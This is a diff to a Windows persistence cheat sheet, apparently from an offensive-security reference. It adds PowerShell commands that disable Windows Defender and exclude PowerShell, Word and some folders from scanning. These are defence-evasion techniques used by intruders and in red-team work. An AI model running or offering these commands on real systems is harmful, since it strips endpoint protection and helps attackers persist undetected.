DSRM Admin

Methodology and Resources/Windows - Persistence.md

@@ -37,9 +37,15 @@
 ## Disable Windows Defender
 
 ```powershell
+# Disable Defender
 sc config WinDefend start= disabled
 sc stop WinDefend
 Set-MpPreference -DisableRealtimeMonitoring $true
+
+## Exclude a process / location
+Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"
+Add-MpPreference -ExclusionProcess 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
+Add-MpPreference -ExclusionPath C:\Video, C:\install
 ```
 
 ## Disable Windows Firewall